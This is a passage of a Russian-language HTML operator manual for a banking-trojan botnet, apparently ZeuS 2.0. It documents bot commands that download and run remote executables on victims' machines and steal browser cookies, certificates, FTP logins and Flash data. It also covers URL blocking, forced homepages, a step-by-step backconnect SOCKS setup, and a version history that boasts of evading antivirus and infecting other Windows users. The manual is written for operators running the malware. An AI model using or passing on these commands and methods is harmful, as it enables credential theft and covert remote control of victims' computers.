<table class="parameters">
<tr>
<td>path</td>
<td>
Локальный путь или URL. Может быть указан как исполняемый файл (exe), так и любой другой (doc, txt, bmp, и т.д.). Для успешного запуска <u>не исполняемого</u> файла (не exe), с ним должна быть ассоциирована какая-либо программа.<br/><br/>
Если параметр является локальным путем, то происходит обычное создание процесса. Разрешается использовать "переменные окружения".<br/><br/>
Если параметр является URL, то происходит загрузка этого URL в файл "%TEMP%\random_name\file_name", где random_name - произвольное имя папки, а file_name - имя ресурса из последней части URL-пути(если URL-путь кончается на слэш, то произодйет ошибка). В настоящее время разрешается использовать только HTTP и HTTPS протоколы, также рекомендуется указывать URL-путь в URL-кодировке (актуально для не английских символов, подробности в RFC 1630 и 1738).
</td>
</tr>
<tr>
<td>parameters</td>
<td>Произвольные параметры передаваемые процессу (не обрабатываются ботом). Являются не обязательными.</td>
</tr>
</table>
<p><b>Примеры:</b></p>
<table class="samples">
<tr>
<td>user_execute http://www.google.com/dave/superdocumet.doc</td>
<td>Загрузка файла в "%TEMP%\random_name\superdocumet.doc", и его запуск, например через MS Word.</td>
</tr>
<tr>
<td>user_execute http://www.google.com/dave/killer.exe /KILLALL /RESTART</td>
<td>Загрузка файла в "%TEMP%\random_name\killer.exe", и его запуск с параметрами "/KILALL /RESTART".</td>
</tr>
<tr>
<td>user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe"</td>
<td>Запуск медиа-плеера.</td>
</tr>
<tr>
<td>user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe" "analporno.wmv"</td>
<td>Запуск медиа-плеера с параметром "analporno.wmv".</td>
</tr>
</table>
</li>
<li><p><b>user_cookies_get</b></p>
<p>Получение кукисов всех известных браузеров.</p>
</li>
<li><p><b>user_cookies_remove</b></p>
<p>Удаление всех кукисов из всех известных браузеров.</p>
</li>
<li><p><b>user_certs_get</b></p>
<p>Получение всех экспортируемых сертификатов из хранилища сертификатов "MY" текущего пользователя. Сертификаты будут загружены на сервер в виде pfx-файла с паролем "pass".</p>
</li>
<li><p><b>user_certs_remove</b></p>
<p>Очистка хранилища сертификатов "MY" текущего пользователя.</p>
</li>
<li><p><b>user_url_block</b> [url_1] [url_2] ... [url_X]</p>
<p>Блокировка доступа к URL в известных библиотеках (браузеров) для текущего пользователя. <u>Вызов этой команды не обнуляет существующий список блокировки, а дополняет его.</u><br/><br/>
При попытке доступа к заблокированным URL, бот устанавливает следующие коды ошибок:</p>
<ul>
<li>wininet.dll - ERROR_HTTP_INVALID_SERVER_RESPONSE</li>
<li>nspr4.dll - PR_CONNECT_REFUSED_ERROR</li>
</ul>
<p><b>Параметры:</b></p>
<table class="parameters">
<tr>
<td>url_1, ulr_2, ...</td>
<td>URL'ы, к котором необходимо заблокировать доступ. Допускается использование масок (символы * и #).</td>
</tr>
</table>
<p><b>Примеры:</b></p>
<table class="samples">
<tr>
<td>user_url_block http://www.google.com/*</td>
<td>Блокировка доступа к любому URL на http://www.google.com/.</td>
</tr>
<tr>
<td>user_url_block *</td>
<td>Полная блокировка доступа к любому ресурсу.</td>
</tr>
<tr>
<td>user_url_block http://*.ru/*.html https://*.ru/*</td>
<td>Блокировка доступа к любому html-файлу в зоне ru, и блокировка доступа к HTTPS-ресурсам в зоне ru.</td>
</tr>
</table>
</li>
<li><p><b>user_url_unblock</b> [url_1] [url_2] ... [url_X]</p>
<p>Снятие блокировки доступа к URL в известных библиотеках (браузеров) для текущего пользователя.</p>
<p><b>Параметры:</b></p>
<table class="parameters">
<tr>
<td>url_1, ulr_2, ...</td>
<td>Маски (символы * и #), по которым из списка заблокированных URL необходимо удалить URL.</td>
</tr>
</table>
<p><b>Примеры:</b></p>
<table class="samples">
<tr>
<td>user_url_unblock *.google.*</td>
<td>Удалить блокировку по любому URL из списка заблокированных, которые содержат в себе ".google.".</td>
</tr>
<tr>
<td>user_url_unblock *</td>
<td>Полностью очистит список блокировок URL.</td>
</tr>
<tr>
<td>user_url_unblock *.html https://*</td>
<td>Удалить блокировку со всех html-файлов, и блокировку на все HTTPS-ресурсы.</td>
</tr>
</table>
</li>
<li><p><b>user_homepage_set</b> [url]</p>
<p>Принудительное изменение домашней страницы для всех известных браузеров текущего пользователя. Даже если пользователь попытается изменить страницу, она будет автоматически восстановлена на страницу, указанную этой командой.</p>
<p><b>Параметры:</b></p>
<table class="parameters">
<tr>
<td>url</td>
<td>
URL, которая будет установлена в качестве домашней страницы.<br/><br/>
Если же, это параметр не указан или является пустым, то произойдет отключение принудительной установки домашней страницы, но при этом, не произойдет восстановление оригинальной страницы, указанной пользователем. Т.е. бот более не будет препятствовать изменению домашней страницы.
</td>
</tr>
</table>
<p><b>Примеры:</b></p>
<table class="samples">
<tr>
<td>user_homepage_set http://www.google.com/</td>
<td>Принудительная установка домашней страницы "http://www.google.com/".</td>
</tr>
<tr>
<td>user_homepage_set</td>
<td>Принудительная установка домашней страницы будет отключена.</td>
</tr>
</table>
</li>
<li><p><b>user_ftpclients_get</b></p>
<p>Получение списка всех FTP-логинов из всех известных FTP-клиентов. <i>Данная команда доступна не во всех сборках ПО.</i></p>
</li>
<li><p><b>user_flashplayer_get</b></p>
<p>Создание архива "flashplayer.cab" из кукисов (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) текущего пользователя, и его отправка на сервер.</p>
</li>
<li><p><b>user_flashplayer_remove</b></p>
<p>Удаление всех кукисов (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) текущего пользователя.</p>
</li>
</ul>
<!-- КОНЧАЛО: Панель управления: Команды, используемые в скриптах -->
<!-- НАЧАЛО: Работа с Backсonnect-сервером -->
<h2 id="bc">Работа с Backсonnect-сервером</h2>
<p>Работа с BackConnect рассматривается в виде примера.</p>
<ul>
<li>IP-адрес Backconnect-сервера: 192.168.100.1.</li>
<li>Порт для бота: 4500.</li>
<li>Порт для клиентского приложения: 1080.</li>
<li>Сервис бота: socks.</li>
</ul>
<ol>
<li><p>Запускается серверное приложение(zsbcs.exe или zsbcs64.exe) на сервере имеющем свой IP-адрес в интернете, для приложения указывается порт, на котором ожидается подключение от бота, и порт к которому будет подключаться клиентское приложение. Например zsbcs.exe listen -cp:1080 -bp:4500, где 1080 - клиентский порт, 4500 - порт для бота.</p></li>
<li><p>Необходимому боту отправляется команда "<a href="#bot_bc_add">bot_bc_add</a> socks 192.168.100.1 4500".</p></li>
<li><p>Теперь необходимо ждать подключение бота к серверу, в этот период любая попытка клиентского приложения подключится будет игнорироваться (будет происходить отключение клиента). Знаком подключения бота, будет вывод в консоль сервера строки "Accepted new conection from bot...".</p></li>
<li><p>После подключения бота, Вы можете работать со своим клиентским приложением. Т.е. Вы просто подключаетесь к серверу на клиентский порт (в данном случаи 1080). Например, если Вы отдали команду socks, то на клиентском порту вас будет ожидать Socks-сервер.</p></li>
<li><p>После того, когда вам не нужен Backconnect от бота для определенного сервиса, необходимо отдать команду "<a href="#bot_bc_remove">bot_bc_remove</a> socks 192.168.100.1 4500".</p></li>
</ol>
<p><b>ПРИМЕЧАНИЯ:</b></p>
<ol>
<li>Вы можете указывать сколько угодно Backconnect'ов (т.е. bot_bc_add), но у них не должна быть общая комбинация IP + Port. Но в случаи наличия такой комбинации, будет запускаться первая добавленная.</li>
<li>Для каждого Backconnect'а, Вы должны запускать отдельное серверное приложение.</li>
<li>В случаи разрыва соединения (падения сервера, падение бота и т.д.), бот будет повторят подключение к серверу бесконечно (даже после перезагрузки PC), до тех пор пока Backconnect не будет удален (т.е. bot_bc_remove).</li>
<li>В качестве service для bot_bc_add, может быть использован любой порт открытый по адресу 127.0.0.1.</li>
<li>Серверное приложение поддерживает IPv6, но в настоящее время эта поддержка не особо актуальна.</li>
<li>Возможен запуск серверного приложения под wine. Написание же elf приложения в настоящее время не планируется.</li>
<li>Крайне рекомендуется использовать в опции bp серверного приложения популярные порты (80, 8080, 443 и т.д.), т.к. иные порты могут быть заблокированы провайдером которому принадлежит бот.</li>
<li>Нельзя позволят подключатся разным ботам на один и тот же серверный порт одновременно.</li>
<li>Метод такого подключения может пригодиться и для ботов, которые находятся вне NAT, т.к. иногда фаерволами Windows или провайдерами, могут быть заблокированы подключения из интернета.</li>
</ol>
<!-- КОНЧАЛО: Работа с Backсonnect-сервером -->
<!-- НАЧАЛО: F.A.Q. -->
<h2 id="faq">F.A.Q.</h2>
<ul>
<li>
<p><b>Что значат цифры в версии?</b></p>
<p>Формат версии <b>a</b>.<b>b</b>.<b>c</b>.<b>d</b>, где:</p>
<ul>
<li><b>a</b> - полное изменение в устройстве бота.</li>
<li><b>b</b> - крупные изменения, которые вызывают полную или частичную несовместимость с предыдущими версиями.</li>
<li><b>c</b> - исправления ошибок, доработки, добавление возможностей.</li>
<li><b>d</b> - номер чистки от антивирусов для текущей версии a.b.c.</li>
</ul>
</li>
<li>
<p><b>Каким образом генерируется Bot ID?</b></p>
<p>Bot ID состоит из двух частей: %name%_%number%, где name - имя компьютера (результат от GetComputerNameW), а number - некое число, генерируемое на основе некоторых уникальных данных ОС.</p>
</li>
<li>
<p><b>Почему трафик шифруется симметричным методом шифрования (RC4), а не асимметричным (RSA)?</b></p>
<p>Потому что, в использовании сложных алгоритмов нет смысла, шифрование нужно только для скрытия трафика. Плюс в RSA только в том, что не зная ключа находящегося в Панели управления, не будет возможности эмулировать ее ответы. А какой смысл защищаться от этого?</p>
</li>
</ul>
<!-- КОНЧАЛО: F.A.Q. -->
<!-- НАЧАЛО: История версий -->
<h2 id="history">История версий</h2>
<ul>
<li><p><b>Версия 2.0.0.0, 01.04.2010</b></p><ol>
<li>Полная несовместимость с предыдущими версиями.</li>
<li>Поскольку ядро бота нацелено на Windows Vista+, и в боте не когда не будут использоваться сплойты повышения привилегий и т.д., бот работает в пределах одного пользователя. Но элементарные попытки заразить прочих пользователей Windows совершаются (обычно эффективно в случаях отключения UAC, или запуска из-под LocalSystem).</li>
<li>Произвольные имена файлов, мютексов и т.д.</li>
<li>Полностью переписано ядро бота, от процесса установки в систему до отправки отчетов в панель управления.</li>
<li>При инсталляции, бот перекриптовывает свое тело, таким образом сохраняется уникальная копия exe-файла на каждом компьютере.</li>
<li>Привязка бота к компьютеру, путем модификации/удаления некоторых данные в exe-файле.</li>
<li>Полноценная работа с x32 приложениями в Windows x64.</li>
<li>Удаление исходного файла бота, после исполнения вне зависимости от результата исполнения.</li>
<li>Полноценная работа в параллельных сессиях "Terminal Services".</li>
<li>При запуске из под пользователя LocalSystem, происходит попытка заражения все пользователей системы.</li>
<li>Убрана опция "StaticConfig.blacklist_languages".</li>
<li>Имя ботнета ограничено 20 символами, и может содержать любые интернациональные символы.</li>
<li>Файл конфигурации читается в UTF-8-кодировке.</li>
<li>Убрана опция "StaticConfig.url_compip".</li>
<li>Новый способ определения NAT.</li>
<li>Нельзя обновить новую версию бота на старую.</li>
<li>При обновлении бота, происходит полное обновление немедленно, не дожидаясь перезагрузки.</li>
<li>В данный момент, из-за некоторых соображений, скрытие файлов бота не будет производиться вообще.</li>
<li>Убран граббер "Protected Storage", поскольку начиная с IE7, он более не используется.</li>
<li>С связи с ненадежностью старой системы подсчета "Инсталлов", бот имеет автоматически имеет "Инсталл" при добавлении в базу.</li>
<li>Новый способ получение кукисов IE.</li>
<li>Улучшен протокол бэк-коннекта.</li>
<li>Поскольку "лайт-режим" билдера создан для тестирования и отладки HTTP-инжектов и HTTP-фейков, он имеет ряд ограничений по сборке файла конфигурации.</li>
<li>Усложнена обнаружение трафика бота.</li>
<li>Полноценная (как с wininet.dll) работа с nspr4.dll, но пока без HTTP-фейков.</li>
</ol></li>
<li><p><b>Версия 2.0.1.0, 28.04.2010</b></p>Теперь используется сторонний криптор, с связи с этим отменены некоторые особенности предыдущей версии:<ol>
<li>Изменен способ привязки к пользователю/ОС.</li>
<li>Бот более не способен перекриптовывать себя при установке.</li>
<li>Мелкие доработки для HTTP-инжектов.</li>
</ol></li>
<li><p><b>Версия 2.0.2.0, 10.05.2010</b></p><ol>
<li>Принудительное изменение настроек безопасности Mozilla Firefox для нормальной работы HTTP-инжектов.</li>
<li>Команда "user_homepage_set" применяет домашнею страницу принудительно для IE и Firefox (т.е страница будет восстановлена даже, если пользователь внесет изменения) до тех пор, пока не произойдет отмена команды.</li>
</ol></li>
<li><p><b>Версия 2.0.3.0, 19.05.2010</b></p><ol>
<li>С связи с тем, что HTTP-инжекты в основном пишут люди мало понимающие в HTTP, HTML и т.д., убрано предупреждение "*NO MATCHES FOUND FOR CURRENT MASK*". Т.к. из-за злоупотребления знака "*" в масках URL, данное предупреждение появляется очень часто.</li>
</ol></li>
<li><p><b>Версия 2.0.4.0, 31.05.2010</b></p><ol>
<li>В панели управления исправлена ошибка в модуле "Botnet->Bots", не позволяющая производить поиск по IP.</li>
<li>В файл конфигурации добавлена опция "StaticConfig.remove_certs", для отключения автоматического удаления сертификатов из хранилища пользователя при установке бота.</li>
<li>В файл конфигурации добавлена опция "StaticConfig.disable_tcpserver", которая позволяет отключить TCP-сервер (ОТКЛЮЧЕНИЕ: сокс-сервер, скриншоты в реальном времени). Данная опция введена для предотвращения появления предупреждений от "Window Firewall".</li>
<li>Сграбленные сертификаты сохраняются на сервере с указанием пользователя, из которого они получены.</li>
</ol></li>
<li><p><b>Версия 2.0.5.0, 08.06.2010</b></p><ol>
<li>Для скриптов подключены команды "bot_httpinject_enable" и "bot_httpinject_disable".</li>
<li>Исправлены мелкие ошибки в HTTP-граббере.</li>
</ol></li>
<li><p><b>Версия 2.0.6.0, 22.06.2010</b></p><ol>
<li>В nspr4.dll, при специфическом форматировании HTTP-ответа от сервера, этот ответ не анализировался верно (что приводило, например, к отключению HTTP-инжектов).</li>
</ol></li>
<li><p><b>Версия 2.0.7.0, 15.07.2010</b></p><ol>
<li>Отключено встроенное криптование бота.</li>
</ol></li>
<li><p><b>Версия 2.0.8.0, 17.08.2010</b></p><ol>
<li>К параметрам HTTP-инжекта добавлены новые опции "I" (сравнение URL без учета регистра) и "C" (сравнение контекста без учета регистра).</li>
</ol></li>
</ul>
<!-- КОНЧАЛО: История версий -->
</body>
</html>